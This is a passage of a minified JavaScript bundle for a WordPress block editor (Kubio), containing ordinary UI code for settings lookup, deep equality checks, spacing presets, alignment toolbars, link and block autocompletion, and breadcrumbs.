0:!e.disableCustomGradients,"typography.fontSizes":e=>e.fontSizes,"typography.customFontSize":e=>void 0===e.disableCustomFontSizes?void 0:!e.disableCustomFontSizes,"typography.lineHeight":e=>e.enableCustomLineHeight,"spacing.units":e=>{if(void 0!==e.enableCustomUnits)return!0===e.enableCustomUnits?["px","em","rem","vh","vw","%"]:e.enableCustomUnits},"spacing.padding":e=>e.enableCustomSpacing},d={"border.customColor":"border.color","border.customStyle":"border.style","border.customWidth":"border.width","typography.customFontStyle":"typography.fontStyle","typography.customFontWeight":"typography.fontWeight","typography.customLetterSpacing":"typography.letterSpacing","typography.customTextDecorations":"typography.textDecoration","typography.customTextTransforms":"typography.textTransform","border.customRadius":"border.radius","spacing.customMargin":"spacing.margin","spacing.customPadding":"spacing.padding","typography.customLineHeight":"typography.lineHeight"},b=e=>d[e]||e;function p(e){const{name:t,clientId:n}=Object(i.b)();return Object(r.useSelect)((r=>{if(s.includes(e))return void console.warn("Top level useSetting paths are disabled. Please use a subpath to query the information needed.");let i=Object(c.applyFilters)("blockEditor.useSetting.before",void 0,e,n,t);if(void 0!==i)return i;const d=b(e),p=[n,...r(a.a).getBlockParents(n,!0)];for(const e of p){const n=r(a.a).getBlockName(e);if(Object(l.hasBlockSupport)(n,"__experimentalSettings",!1)){var m;const n=r(a.a).getBlockAttributes(e);if(i=null!==(m=Object(o.get)(n,`settings.blocks.${t}.${d}`))&&void 0!==m?m:Object(o.get)(n,`settings.${d}`),void 0!==i)break}}const f=r(a.a).getSettings();if(void 0===i){var g;const e=`__experimentalFeatures.${d}`,n=`__experimentalFeatures.blocks.${t}.${d}`;i=null!==(g=Object(o.get)(f,n))&&void 0!==g?g:Object(o.get)(f,e)}var h,v;if(void 0!==i)return l.__EXPERIMENTAL_PATHS_WITH_MERGE[d]?null!==(h=null!==(v=i.custom)&&void 0!==v?v:i.theme)&&void 0!==h?h:i.default:i;const O=u[d]?u[d](f):void 0;return void 0!==O?O:"typography.dropCap"===d||void 0}),[t,n,e])}},,function(e,t){var n="undefined"!=typeof Element,o="function"==typeof Map,r="function"==typeof Set,l="function"==typeof ArrayBuffer&&!!ArrayBuffer.isView;function c(e,t){if(e===t)return!0;if(e&&t&&"object"==typeof e&&"object"==typeof t){if(e.constructor!==t.constructor)return!1;var i,a,s,u;if(Array.isArray(e)){if((i=e.length)!=t.length)return!1;for(a=i;0!=a--;)if(!c(e[a],t[a]))return!1;return!0}if(o&&e instanceof Map&&t instanceof Map){if(e.size!==t.size)return!1;for(u=e.entries();!(a=u.next()).done;)if(!t.has(a.value[0]))return!1;for(u=e.entries();!(a=u.next()).done;)if(!c(a.value[1],t.get(a.value[0])))return!1;return!0}if(r&&e instanceof Set&&t instanceof Set){if(e.size!==t.size)return!1;for(u=e.entries();!(a=u.next()).done;)if(!t.has(a.value[0]))return!1;return!0}if(l&&ArrayBuffer.isView(e)&&ArrayBuffer.isView(t)){if((i=e.length)!=t.length)return!1;for(a=i;0!=a--;)if(e[a]!==t[a])return!1;return!0}if(e.constructor===RegExp)return e.source===t.source&&e.flags===t.flags;if(e.valueOf!==Object.prototype.valueOf)return e.valueOf()===t.valueOf();if(e.toString!==Object.prototype.toString)return e.toString()===t.toString();if((i=(s=Object.keys(e)).length)!==Object.keys(t).length)return!1;for(a=i;0!=a--;)if(!Object.prototype.hasOwnProperty.call(t,s[a]))return!1;if(n&&e instanceof Element)return!1;for(a=i;0!=a--;)if(("_owner"!==s[a]&&"__v"!==s[a]&&"__o"!==s[a]||!e.$$typeof)&&!c(e[s[a]],t[s[a]]))return!1;return!0}return e!=e&&t!=t}e.exports=function(e,t){try{return c(e,t)}catch(e){if((e.message||"").match(/stack|recursion/i))return console.warn("react-fast-compare cannot handle circular refs"),!1;throw e}}},function(e,t){!function(){e.exports=this.kubio.editorData}()},function(e,t){!function(){e.exports=this.wp.richText}()},function(e,t){!function(){e.exports=this.wp.url}()},,,,,,function(e,t,n){"use strict";n.d(t,"a",(function(){return l})),n.d(t,"b",(function(){return i})),n.d(t,"d",(function(){return a})),n.d(t,"c",(function(){return s}));var o=n(2),r=n(12);const l=e=>{if(null===e||"object"!=typeof e||Array.isArray(e))return e;const t=Object.fromEntries(Object.entries(Object(o.mapValues)(e,l)).filter((e=>{let[,t]=e;return Boolean(t)})));return Object(o.isEmpty)(t)?void 0:t};function c(e){return"object"==typeof e?{...Object.fromEntries(Object.entries(e).map((e=>{let[t,n]=e;return[t,c(n)]})))}:e}function i(e,t,n){const o=function(e){return Array.isArray(e)?e:"number"==typeof e?[e.toString()]:[e]}(t),r=e?c(e):{};return o.reduce(((e,t,r)=>(void 0===e[t]&&(e[t]={}),r===o.length-1&&(e[t]=n),e[t])),r),r}function a(e,t,n,r,l,c){var a;if(Object.values(null!=e?e:{}).every((e=>!e)))return n;if(1===c.length&&n.innerBlocks.length===r.length)return n;let s=null===(a=r[0])||void 0===a?void 0:a.attributes;if(c.length>1&&r.length>1){if(!r[l])return n;var u;s=null===(u=r[l])||void 0===u?void 0:u.attributes}let d=n;return Object.entries(e).forEach((e=>{let[n,r]=e;r&&t[n].forEach((e=>{const t=Object(o.get)(s,e);t&&(d={...d,attributes:i(d.attributes,e,t)})}))})),d}function s(e,t,n){const o=Object(r.getBlockSupport)(e,t),l=null==o?void 0:o.__experimentalSkipSerialization;return Array.isArray(l)?l.includes(n):l}},function(e,t){!function(){e.exports=this.wp.dom}()},,,,,,function(e,t){!function(){e.exports=this.wp.deprecated}()},function(e,t){!function(){e.exports=this.kubio.coreHooks}()},function(e,t,n){"use strict";n.d(t,"a",(function(){return v}));var o=n(8),r=n(0),l=n(319),c=n(48),i=n.n(c),a=n(3);function s(e){let{Slot:t,...n}=e;const l=Object(r.useContext)(a.__experimentalToolsPanelContext);return Object(r.createElement)(t,Object(o.a)({},n,{fillProps:l,bubblesVirtually:!0}))}var u=n(7),d=n(14),b=n(41);function p(e){let{children:t,group:n,label:o}=e;const{updateBlockAttributes:l}=Object(u.useDispatch)(d.a),{getBlockAttributes:c,getMultiSelectedBlockClientIds:i,getSelectedBlockClientId:s,hasMultiSelection:p}=Object(u.useSelect)(d.a),m=s(),f=Object(r.useCallback)((function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];const t={},n=p()?i():[m];n.forEach((n=>{const{style:o}=c(n);let r={style:o};e.forEach((e=>{r={...r,...e(r)}})),r={...r,style:Object(b.a)(r.style)},t[n]=r})),l(n,t,!0)}),[b.a,c,i,p,m,l]);return Object(r.createElement)(a.__experimentalToolsPanel,{className:`${n}-block-support-panel`,label:o,resetAll:f,key:m,panelId:m,hasInnerWrapper:!0,shouldRenderPlaceholderItems:!0,__experimentalFirstVisibleItemClass:"first",__experimentalLastVisibleItemClass:"last"},t)}var m=n(129),f=n(130);function g(e){var t;let{__experimentalGroup:n,group:l="default",label:c,...a}=e;n&&(i()("`__experimentalGroup` property in `InspectorControlsSlot`",{since:"6.2",version:"6.4",alternative:"`group`"}),l=n);const u=null===(t=m.a[l])||void 0===t?void 0:t.Slot;return Object(f.a)(null==u?void 0:u.__unstableName)?c?Object(r.createElement)(p,{group:l,label:c},Object(r.createElement)(s,Object(o.a)({},a,{Slot:u}))):Object(r.createElement)(u,Object(o.a)({},a,{bubblesVirtually:!0})):null}const h=l.a;h.Slot=g;const v=e=>Object(r.createElement)(l.a,Object(o.a)({},e,{group:"advanced"}));v.Slot=e=>Object(r.createElement)(g,Object(o.a)({},e,{group:"advanced"})),v.slotName="InspectorAdvancedControls",t.b=h},,function(e,t,n){"use strict";var o,r;function l(e){return[e]}function c(){var e={clear:function(){e.head=null}};return e}function i(e,t,n){var o;if(e.length!==t.length)return!1;for(o=n;o<e.length;o++)if(e[o]!==t[o])return!1;return!0}o={},r="undefined"!=typeof WeakMap,t.a=function(e,t){var n,a;function s(){n=r?new WeakMap:c()}function u(){var n,o,r,l,c,s=arguments.length;for(l=new Array(s),r=0;r<s;r++)l[r]=arguments[r];for(c=t.apply(null,l),(n=a(c)).isUniqueByDependants||(n.lastDependants&&!i(c,n.lastDependants,0)&&n.clear(),n.lastDependants=c),o=n.head;o;){if(i(o.args,l,1))return o!==n.head&&(o.prev.next=o.next,o.next&&(o.next.prev=o.prev),o.next=n.head,o.prev=null,n.head.prev=o,n.head=o),o.val;o=o.next}return o={val:e.apply(null,l)},l[0]=null,o.args=l,n.head&&(n.head.prev=o,o.next=n.head),n.head=o,o.val}return t||(t=l),a=r?function(e){var t,r,l,i,a,s=n,u=!0;for(t=0;t<e.length;t++){if(!(a=r=e[t])||"object"!=typeof a){u=!1;break}s.has(r)?s=s.get(r):(l=new WeakMap,s.set(r,l),s=l)}return s.has(o)||((i=c()).isUniqueByDependants=u,s.set(o,i)),s.get(o)}:function(){return n},u.getDependants=t,u.clear=s,s(),u}},function(e,t,n){"use strict";n.d(t,"i",(function(){return r})),n.d(t,"e",(function(){return l})),n.d(t,"f",(function(){return c})),n.d(t,"h",(function(){return i})),n.d(t,"g",(function(){return s})),n.d(t,"c",(function(){return u})),n.d(t,"b",(function(){return d})),n.d(t,"a",(function(){return b})),n.d(t,"d",(function(){return p})),n.d(t,"k",(function(){return m})),n.d(t,"j",(function(){return f}));var o=n(1);function r(e){return!(null==e||!e.includes)&&("0"===e||e.includes("var:preset|spacing|"))}function l(e,t){if(!r(e))return e;const n=a(e),o=t.find((e=>String(e.slug)===n));return null==o?void 0:o.size}function c(e,t){if(r(e))return e;const n=t.find((t=>String(t.size)===String(e)));return null!=n&&n.slug?`var:preset|spacing|${n.slug}`:e}function i(e){if(!e)return;const t=e.match(/var:preset\|spacing\|(.+)/);return t?`var(--wp--preset--spacing--${t[1]})`:e}function a(e){if(!e)return;if("0"===e||"default"===e)return e;const t=e.match(/var:preset\|spacing\|(.+)/);return t?t[1]:void 0}function s(e,t){if(void 0===e)return 0;const n=0===parseFloat(e,10)?"0":a(e),o=t.findIndex((e=>String(e.slug)===n));return-1!==o?o:NaN}const u={all:Object(o.__)("All sides","kubio"),top:Object(o.__)("Top","kubio"),bottom:Object(o.__)("Bottom","kubio"),left:Object(o.__)("Left","kubio"),right:Object(o.__)("Right","kubio"),mixed:Object(o.__)("Mixed","kubio"),vertical:Object(o.__)("Vertical","kubio"),horizontal:Object(o.__)("Horizontal","kubio")},d={top:void 0,right:void 0,bottom:void 0,left:void 0},b=["top","right","bottom","left"];function p(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return(t=Object.values(e)).sort(((e,n)=>t.filter((t=>t===e)).length-t.filter((e=>e===n)).length)).pop();var t}function m(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:b;return Object.values(e).length>=1&&Object.values(e).length<t.length||new Set(Object.values(e)).size>1}function f(e){return null!=e&&Object.values(e).filter((e=>!!e)).length>0}},function(e,t){!function(){e.exports=this.wp.apiFetch}()},function(e,t,n){"use strict";var o=n(0),r=n(13),l=n.n(r),c=n(3),i=n(320);t.a=Object(o.memo)((function(e){var t;let{icon:n,showColors:r=!1,className:a,context:s}=e;"block-default"===(null===(t=n)||void 0===t?void 0:t.src)&&(n={src:i.a});const u=Object(o.createElement)(c.Icon,{icon:n&&n.src?n.src:n,context:s}),d=r?{backgroundColor:n&&n.background,color:n&&n.foreground}:{};return Object(o.createElement)("span",{style:d,className:l()("block-editor-block-icon",a,{"has-colors":r})},u)}))},,,,,function(e,t,n){"use strict";n.d(t,"wc",(function(){return o.b})),n.d(t,"xc",(function(){return o.c})),n.d(t,"yc",(function(){return o.d})),n.d(t,"vc",(function(){return o.a})),n.d(t,"Lc",(function(){return o.e})),n.d(t,"Ab",(function(){return r.a})),n.d(t,"Ec",(function(){return r.e})),n.d(t,"Bb",(function(){return r.b})),n.d(t,"Dc",(function(){return r.d})),n.d(t,"ac",(function(){return r.c})),n.d(t,"Ac",(function(){return l.c})),n.d(t,"Bc",(function(){return l.d})),n.d(t,"Cc",(function(){return l.e})),n.d(t,"zc",(function(){return l.b})),n.d(t,"J",(function(){return l.a})),n.d(t,"Mc",(function(){return l.f})),n.d(t,"lc",(function(){return c.d})),n.d(t,"hc",(function(){return c.a})),n.d(t,"oc",(function(){return c.e})),n.d(t,"ic",(function(){return c.b})),n.d(t,"jc",(function(){return c.c})),n.d(t,"a",(function(){return h})),n.d(t,"b",(function(){return v})),n.d(t,"c",(function(){return z})),n.d(t,"d",(function(){return J})),n.d(t,"e",(function(){return ee})),n.d(t,"ob",(function(){return ne})),n.d(t,"mb",(function(){return le})),n.d(t,"f",(function(){return ae})),n.d(t,"Yb",(function(){return se})),n.d(t,"h",(function(){return ue.a})),n.d(t,"i",(function(){return de.b})),n.d(t,"m",(function(){return de.a})),n.d(t,"g",(function(){return he})),n.d(t,"j",(function(){return ve.a})),n.d(t,"Gc",(function(){return ve.b})),n.d(t,"n",(function(){return S.a})),n.d(t,"r",(function(){return Ze})),n.d(t,"w",(function(){return it})),n.d(t,"rb",(function(){return st})),n.d(t,"pb",(function(){return vt})),n.d(t,"sb",(function(){return _t})),n.d(t,"B",(function(){return Nt})),n.d(t,"A",(function(){return Tt})),n.d(t,"tb",(function(){return Mt.a})),n.d(t,"D",(function(){return Pt.a})),n.d(t,"C",(function(){return Pt.b})),n.d(t,"E",(function(){return At})),n.d(t,"F",(function(){return Ft})),n.d(t,"G",(function(){return zt.a})),n.d(t,"wb",(function(){return Gt})),n.d(t,"xb",(function(){return Wt})),n.d(t,"yb",(function(){return Kt.a})),n.d(t,"zb",(function(){return qt.a})),n.d(t,"Ib",(function(){return Yt.a})),n.d(t,"Vb",(function(){return Qt.a})),n.d(t,"Wb",(function(){return Xt.a})),n.d(t,"ub",(function(){return Dt.a})),n.d(t,"vb",(function(){return Zt.a})),n.d(t,"Pb",(function(){return on})),n.d(t,"cc",(function(){return Jt.a})),n.d(t,"K",(function(){return rn.a})),n.d(t,"Db",(function(){return Gn})),n.d(t,"Cb",(function(){return un})),n.d(t,"Eb",(function(){return Wn})),n.d(t,"L",(function(){return Kn.a})),n.d(t,"Ic",(function(){return Kn.b})),n.d(t,"O",(function(){return qn.b})),n.d(t,"N",(function(){return qn.a})),n.d(t,"Q",(function(){return oo})),n.d(t,"P",(function(){return no})),n.d(t,"Kb",(function(){return ro.a})),n.d(t,"Lb",(function(){return lo.a})),n.d(t,"Nb",(function(){return co.a})),n.d(t,"Mb",(function(){return io.a})),n.d(t,"R",(function(){return ao.a})),n.d(t,"Ob",(function(){return Qe})),n.d(t,"T",(function(){return ho})),n.d(t,"S",(function(){return To})),n.d(t,"U",(function(){return po})),n.d(t,"V",(function(){return mo})),n.d(t,"Z",(function(){return No})),n.d(t,"ab",(function(){return jr})),n.d(t,"Tb",(function(){return yr})),n.d(t,"bb",(function(){return vr})),n.d(t,"cb",(function(){return br})),n.d(t,"db",(function(){return pr})),n.d(t,"pc",(function(){return mr})),n.d(t,"fb",(function(){return Sr})),n.d(t,"Xb",(function(){return Cr})),n.d(t,"hb",(function(){return So})),n.d(t,"ib",(function(){return xr})),n.d(t,"jb",(function(){return Bo})),n.d(t,"Fb",(function(){return Dr})),n.d(t,"Kc",(function(){return Rt})),n.d(t,"Ub",(function(){return Fr.a})),n.d(t,"fc",(function(){return zr.a})),n.d(t,"gc",(function(){return Vr.a})),n.d(t,"ec",(function(){return Hr.a})),n.d(t,"nc",(function(){return Gr.a})),n.d(t,"Qb",(function(){return $r})),n.d(t,"dc",(function(){return Ur})),n.d(t,"o",(function(){return _l})),n.d(t,"p",(function(){return yl.c})),n.d(t,"Hc",(function(){return El.a})),n.d(t,"Hb",(function(){return Sl.b})),n.d(t,"q",(function(){return Cl.a})),n.d(t,"s",(function(){return ot.a})),n.d(t,"Zb",(function(){return ot.b})),n.d(t,"t",(function(){return wl.a})),n.d(t,"qc",(function(){return wl.b})),n.d(t,"u",(function(){return Bl.a})),n.d(t,"v",(function(){return Il.a})),n.d(t,"x",(function(){return ie.a})),n.d(t,"y",(function(){return xl.a})),n.d(t,"z",(function(){return zl})),n.d(t,"H",(function(){return Vl.a})),n.d(t,"rc",(function(){return Vl.b})),n.d(t,"I",(function(){return Hl.a})),n.d(t,"kc",(function(){return Gl.a})),n.d(t,"M",(function(){return Al.a})),n.d(t,"Jb",(function(){return Ul})),n.d(t,"k",(function(){return Kl})),n.d(t,"W",(function(){return ql})),n.d(t,"X",(function(){return Do.a})),n.d(t,"Y",(function(){return Zl})),n.d(t,"uc",(function(){return Xl})),n.d(t,"sc",(function(){return Ql})),n.d(t,"eb",(function(){return Kr})),n.d(t,"gb",(function(){return oc})),n.d(t,"tc",(function(){return nc})),n.d(t,"kb",(function(){return rc.a})),n.d(t,"lb",(function(){return lc.a})),n.d(t,"Fc",(function(){return Be.a})),n.d(t,"mc",(function(){return cc.a})),n.d(t,"Sb",(function(){return ac})),n.d(t,"bc",(function(){return sc})),n.d(t,"qb",(function(){return uc.a})),n.d(t,"Rb",(function(){return pc})),n.d(t,"Gb",(function(){return bc})),n.d(t,"nb",(function(){return se})),n.d(t,"l",(function(){return mc.b})),n.d(t,"Jc",(function(){return Lt.a}));var o=n(74),r=n(124),l=n(111),c=n(116),i=n(8),a=n(0),s=n(1),u=n(3),d=n(425),b=n(426),p=n(427);const m=[{icon:d.a,title:Object(s.__)("Align text left","kubio"),align:"left"},{icon:b.a,title:Object(s.__)("Align text center","kubio"),align:"center"},{icon:p.a,title:Object(s.__)("Align text right","kubio"),align:"right"}],f={position:"bottom right",variant:"toolbar"};var g=function(e){let{value:t,onChange:n,alignmentControls:o=m,label:r=Object(s.__)("Align text","kubio"),describedBy:l=Object(s.__)("Change text alignment","kubio"),isCollapsed:c=!0,isToolbar:b}=e;function g(e){return()=>n(t===e?void 0:e)}const h=o.find((e=>e.align===t)),v=b?u.ToolbarGroup:u.ToolbarDropdownMenu,O=b?{isCollapsed:c}:{toggleProps:{describedBy:l},popoverProps:f};return Object(a.createElement)(v,Object(i.a)({icon:h?h.icon:Object(s.isRTL)()?p.a:d.a,label:r,controls:o.map((e=>{const{align:n}=e,o=t===n;return{...e,isActive:o,role:c?"menuitemradio":void 0,onClick:g(n)}}))},O))};const h=e=>Object(a.createElement)(g,Object(i.a)({},e,{isToolbar:!1})),v=e=>Object(a.createElement)(g,Object(i.a)({},e,{isToolbar:!0}));var O=n(23),k=n(12),j=n(68),_=n(7),y=n(131),E=n(115),S=n(55),C=n(14),w=n(176);const B=()=>{};var I={name:"blocks",className:"block-editor-autocompleters__block",triggerPrefix:"/",useItems(e){const{rootClientId:t,selectedBlockName:n}=Object(_.useSelect)((e=>{const{getSelectedBlockClientId:t,getBlockName:n,getBlockInsertionPoint:o}=e(C.a),r=t();return{selectedBlockName:r?n(r):null,rootClientId:o().rootClientId}}),[]),[o,r,l]=Object(E.a)(t,B),c=Object(a.useMemo)((()=>(e.trim()?Object(y.a)(o,r,l,e):Object(w.a)(o,"frecency","desc")).filter((e=>e.name!==n)).slice(0,9)),[e,n,o,r,l]);return[Object(a.useMemo)((()=>c.map((e=>{const{title:t,icon:n,isDisabled:o}=e;return{key:`block-${e.id}`,value:e,label:Object(a.createElement)(a.Fragment,null,Object(a.createElement)(S.a,{key:"icon",icon:n,showColors:!0}),t),isDisabled:o}}))),[c])]},allowContext:(e,t)=>!(/\S/.test(e)||/\S/.test(t)),getOptionCompletion(e){const{name:t,initialAttributes:n,innerBlocks:o}=e;return{action:"replace",value:Object(k.createBlock)(t,n,Object(k.createBlocksFromInnerBlocksTemplate)(o))}}},x=n(54),T=n.n(x),N=n(35),M=n(120),P=n(424),L=n(5),R=Object(a.createElement)(L.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(a.createElement)(L.Path,{d:"m7.3 9.7 1.4 1.4c.2-.2.3-.3.4-.5 0 0 0-.1.1-.1.3-.5.4-1.1.3-1.6L12 7 9 4 7.2 6.5c-.6-.1-1.1 0-1.6.3 0 0-.1 0-.1.1-.3.1-.4.2-.6.4l1.4 1.4L4 11v1h1l2.3-2.3zM4 20h9v-1.5H4V20zm0-5.5V16h16v-1.5H4z"}));var A={name:"links",className:"block-editor-autocompleters__link",triggerPrefix:"[[",options:async e=>{let t=await T()({path:Object(N.addQueryArgs)("/wp/v2/search",{per_page:10,search:e,type:"post",order_by:"menu_order"})});return t=t.filter((e=>""!==e.title)),t},getOptionKeywords:e=>[...e.title.split(/\s+/)],getOptionLabel:e=>Object(a.createElement)(a.Fragment,null,Object(a.createElement)(M.a,{key:"icon",icon:"page"===e.subtype?P.a:R}),e.title),getOptionCompletion:e=>Object(a.createElement)("a",{href:e.url},e.title)};const D=[];function F(e){let{completers:t=D}=e;const{name:n}=Object(j.c)();return Object(a.useMemo)((()=>{let e=[...t,A];return(n===Object(k.getDefaultBlockName)()||Object(k.getBlockSupport)(n,"__experimentalSlashInserter",!1))&&(e=[...e,I]),Object(O.hasFilter)("editor.Autocomplete.completers")&&(e===t&&(e=e.map((e=>({...e})))),e=Object(O.applyFilters)("editor.Autocomplete.completers",e,n)),e}),[t,n])}var z=function(e){return Object(a.createElement)(u.Autocomplete,Object(i.a)({},e,{completers:F(e)}))},V=n(13),H=n.n(V),G=n(201),$=Object(a.createElement)(L.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(a.createElement)(L.Path,{d:"M5 15h14V9H5v6zm0 4.8h14v-1.5H5v1.5zM5 4.2v1.5h14V4.2H5z"})),U=Object(a.createElement)(L.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(a.createElement)(L.Path,{d:"M4 9v6h14V9H4zm8-4.8H4v1.5h8V4.2zM4 19.8h8v-1.5H4v1.5z"})),W=n(675),K=Object(a.createElement)(L.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(a.createElement)(L.Path,{d:"M6 15h14V9H6v6zm6-10.8v1.5h8V4.2h-8zm0 15.6h8v-1.5h-8v1.5z"})),q=n(420),Y=n(428);const Q={none:{icon:$,title:Object(s._x)("None","Alignment option","kubio")},left:{icon:U,title:Object(s.__)("Align left","kubio")},center:{icon:W.a,title:Object(s.__)("Align center","kubio")},right:{icon:K,title:Object(s.__)("Align right","kubio")},wide:{icon:q.a,title:Object(s.__)("Wide width","kubio")},full:{icon:Y.a,title:Object(s.__)("Full width","kubio")}},X={variant:"toolbar"};var Z=function(e){let{value:t,onChange:n,controls:o,isToolbar:r,isCollapsed:l=!0}=e;const c=Object(G.a)(o);if(!c.length)return null;function d(e){n([t,"none"].includes(e)?void 0:e)}const b=Q[t],p=Q.none,m=r?u.ToolbarGroup:u.ToolbarDropdownMenu,f={icon:b?b.icon:p.icon,label:Object(s.__)("Align","kubio")},g=r?{isCollapsed:l,controls:c.map((e=>{let{name:n}=e;return{...Q[n],isActive:t===n||!t&&"none"===n,role:l?"menuitemradio":void 0,onClick:()=>d(n)}}))}:{toggleProps:{describedBy:Object(s.__)("Change alignment","kubio")},popoverProps:X,children:e=>{let{onClose:n}=e;return Object(a.createElement)(a.Fragment,null,Object(a.createElement)(u.MenuGroup,{className:"block-editor-block-alignment-control__menu-group"},c.map((e=>{let{name:o,info:r}=e;const{icon:l,title:c}=Q[o],i=o===t||!t&&"none"===o;return Object(a.createElement)(u.MenuItem,{key:o,icon:l,iconPosition:"left",className:H()("components-dropdown-menu__menu-item",{"is-active":i}),isSelected:i,onClick:()=>{d(o),n()},role:"menuitemradio",info:r},c)}))))}};return Object(a.createElement)(m,Object(i.a)({},f,g))};const J=e=>Object(a.createElement)(Z,Object(i.a)({},e,{isToolbar:!1})),ee=e=>Object(a.createElement)(Z,Object(i.a)({},e,{isToolbar:!0}));var te=Object(a.createElement)(L.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(a.createElement)(L.Path,{d:"M4.2 9h1.5V5.8H9V4.2H4.2V9zm14 9.2H15v1.5h4.8V15h-1.5v3.2zM15 4.2v1.5h3.2V9h1.5V4.2H15zM5.8 15H4.2v4.8H9v-1.5H5.8V15z"})),ne=function(e){let{isActive:t,label:n=Object(s.__)("Toggle full height","kubio"),onToggle:o,isDisabled:r}=e;return Object(a.createElement)(u.ToolbarButton,{isActive:t,icon:te,label:n,onClick:()=>o(!t),disabled:r})},oe=n(27);const re=()=>{};var le=function(e){const{label:t=Object(s.__)("Change matrix alignment","kubio"),onChange:n=re,value:o="center",isDisabled:r}=e,l=Object(a.createElement)(u.__experimentalAlignmentMatrixControl.Icon,{value:o});return Object(a.createElement)(u.Dropdown,{position:"bottom right",popoverProps:{variant:"toolbar",placement:"bottom-start"},renderToggle:e=>{let{onToggle:n,isOpen:o}=e;return Object(a.createElement)(u.ToolbarButton,{onClick:n,"aria-haspopup":"true","aria-expanded":o,onKeyDown:e=>{o||e.keyCode!==oe.DOWN||(e.preventDefault(),n())},label:t,icon:l,showTooltip:!0,disabled:r})},renderContent:()=>Object(a.createElement)(u.__experimentalAlignmentMatrixControl,{hasFocusBorder:!1,onChange:n,value:o})})},ce=n(678),ie=n(142),ae=function(e){let{rootLabelText:t}=e;const{selectBlock:n,clearSelectedBlock:o}=Object(_.useDispatch)(C.a),{clientId:r,parents:l,hasSelection:c}=Object(_.useSelect)((e=>{const{getSelectionStart:t,getSelectedBlockClientId:n,getBlockParents:o}=e(C.a),r=n();return{parents:o(r),clientId:r,hasSelection:!!t().clientId}}),[]),i=t||Object(s.__)("Document","kubio");return Object(a.createElement)("ul",{className:"block-editor-block-breadcrumb",role:"list","aria-label":Object(s.__)("Block breadcrumb","kubio")},Object(a.createElement)("li",{className:c?void 0:"block-editor-block-breadcrumb__current","aria-current":c?void 0:"true"},c&&Object(a.createElement)(u.Button,{className:"block-editor-block-breadcrumb__button",variant:"tertiary",onClick:o},i),!c&&i,!!r&&Object(a.createElement)(M.a,{icon:ce.a,className:"block-editor-block-breadcrumb__separator"})),l.map((e=>Object(a.createElement)("li",{key:e},Object(a.createElement)(u.Button,{className:"block-editor-block-breadcrumb__button",variant:"tertiary",onClick:()=>n(e)},Object(a.createElement)(ie.a,{clientId:e,maximumLength:35})),Object(a.createElement)(M.a,{icon:ce.a,className:"block-editor-block-breadcrumb__separator"})))),!!r&&Object(a.createElement)("li",{className:"block-editor-block-breadcrumb__current","aria-current":"true"},Object(a.createElement)(ie.a,{clientId:r,maximumLength:35})))};function se(e){return Object(_.useSelect)((t=>{const{__unstableHasActiveBlockOverlayActive:n}=t(C.a);return n(e)}),[e])}var ue=n(159),de=n(96),be=n(48),pe=n.n(be);const me=()=>Object(a.createElement)(u.SVG,{xmlns:"https://www.w3.org/2000/svg",viewBox:"0 0 20 20"},Object(a.createElement)(u.Path,{d:"M7.434 5l3.18 9.16H8.538l-.692-2.184H4.628l-.705 2.184H2L5.18 5h2.254zm-1.13 1.904h-.115l-1.148 3.593H7.44L6.304 6.904zM14.348 7.006c1.853 0 2.9.876 2.9 2.374v4.78h-1.79v-.914h-.114c-.362.64-1.123 1.022-2.031 1.022-1.346 0-2.292-.826-2.292-2.108 0-1.27.972-2.006 2.71-2.107l1.696-.102V9.38c0-.584-.42-.914-1.18-.914-.667 0-1.112.228-1.264.647h-1.701c.12-1.295 1.307-2.107 3.066-2.107zm1.079 4.1l-1.416.09c-.793.056-1.18.342-1.18.844 0 .52.45.837 1.091.837.857 0 1.505-.545 1.505-1.256v-.515z"})),fe=e=>{let{style:t,className:n}=e;return Object(a.createElement)("div",{className:"block-library-colors-selector__icon-container"},Object(a.createElement)("div",{className:`${n} block-library-colors-selector__state-selection`,style:t},Object(a.createElement)(me,null)))},ge=e=>{let{TextColor:t,BackgroundColor:n}=e;return e=>{let{onToggle:o,isOpen:r}=e;return Object(a.createElement)(u.ToolbarGroup,null,Object(a.createElement)(u.ToolbarButton,{className:"components-toolbar__control block-library-colors-selector__toggle",label:Object(s.__)("Open Colors Selector","kubio"),onClick:o,onKeyDown:e=>{r||e.keyCode!==oe.DOWN||(e.preventDefault(),o())},icon:Object(a.createElement)(n,null,Object(a.createElement)(t,null,Object(a.createElement)(fe,null)))}))}};var he=e=>{let{children:t,...n}=e;return pe()("wp.blockEditor.BlockColorsStyleSelector",{alternative:"block supports API",since:"6.1",version:"6.3"}),Object(a.createElement)(u.Dropdown,{popoverProps:{placement:"bottom-start"},className:"block-library-colors-selector",contentClassName:"block-library-colors-selector__popover",renderToggle:ge(n),renderContent:()=>t})},ve=n(106),Oe=n(429),ke=n(11),je=n(422),_e=n(175),ye=n(259);const Ee=Object(_e.animated)(u.__experimentalTreeGridRow);function Se(e){let{isSelected:t,position:n,level:o,rowCount:r,children:l,className:c,path:s,...u}=e;const d=Object(ye.a)({isSelected:t,adjustScrolling:!1,enableAnimation:!0,triggerAnimationOnChange:s});return Object(a.createElement)(Ee,Object(i.a)({ref:d,className:H()("block-editor-list-view-leaf",c),level:o,positionInSet:n,setSize:r},u),l)}var Ce=n(126),we=n(679),Be=n(61),Ie=n(94),xe=n(677);function Te(e){let{onClick:t}=e;return Object(a.createElement)("span",{className:"block-editor-list-view__expander",onClick:e=>t(e,{forceToggle:!0}),"aria-hidden":"true"},Object(a.createElement)(M.a,{icon:Object(s.isRTL)()?xe.a:ce.a}))}var Ne=n(95),Me=Object(a.forwardRef)((function(e,t){let{className:n,block:{clientId:o},onClick:r,onToggleExpanded:l,tabIndex:c,onFocus:i,onDragStart:s,onDragEnd:d,draggable:b}=e;const p=Object(Be.a)(o),m=Object(Ie.a)({clientId:o,context:"list-view"}),{isLocked:f}=Object(Ne.c)(o);return 